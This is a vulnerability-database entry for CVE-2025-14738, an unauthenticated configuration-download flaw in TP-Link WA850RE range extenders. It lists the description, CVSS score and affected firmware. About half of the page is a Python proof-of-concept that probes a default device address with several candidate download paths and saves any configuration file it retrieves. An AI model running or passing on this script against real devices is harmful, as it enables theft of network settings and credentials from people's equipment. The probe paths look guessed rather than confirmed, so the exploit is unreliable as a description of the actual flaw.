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CVE-2025-14738 CVSS 7.5 HIGH

CVE-2025-14738

Published: 2025-12-18 18:15:45
Last Modified: 2026-01-29 16:15:46
Source: f23511db-6c3e-4e32-a477-6aa17d310630

Description

Improper authentication vulnerability in TP-Link WA850RE (httpd modules) allows unauthenticated attackers to download the configuration file.This issue affects: ≤ WA850RE V2_160527, ≤ WA850RE V3_160922.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:tp-link:tl-wa850re_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:tl-wa850re:2:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:tl-wa850re_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:tl-wa850re:3:*:*:*:*:*:*:* - NOT VULNERABLE
TP-Link WA850RE V2 <= 160527
TP-Link WA850RE V3 <= 160922

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-14738 PoC - TP-Link WA850RE Unauthenticated Configuration Download # Target: TP-Link WA850RE devices (V2 and V3) target_host = "http://192.168.0.254" # Default TP-Link WA850RE IP config_download_paths = [ "/cgi-bin/ConfigFileDownload", "/cgi-bin/ExportConfig.txt", "/download/settings.cfg", "/cgi-bin/ReadConfigData", "/cgi?download=settings.cfg" ] def download_config(target, path): """Download configuration file without authentication""" try: url = target + path headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*' } response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 100: print(f"[+] Success! Config downloaded from: {url}") print(f"[+] Config size: {len(response.content)} bytes") # Save config to file with open(f"config_{path.replace('/', '_')}.bin", 'wb') as f: f.write(response.content) return True except Exception as e: print(f"[-] Failed: {e}") return False if __name__ == "__main__": print("CVE-2025-14738 PoC - TP-Link WA850RE Config Download") for path in config_download_paths: print(f"[*] Trying: {path}") if download_config(target_host, path): break

References

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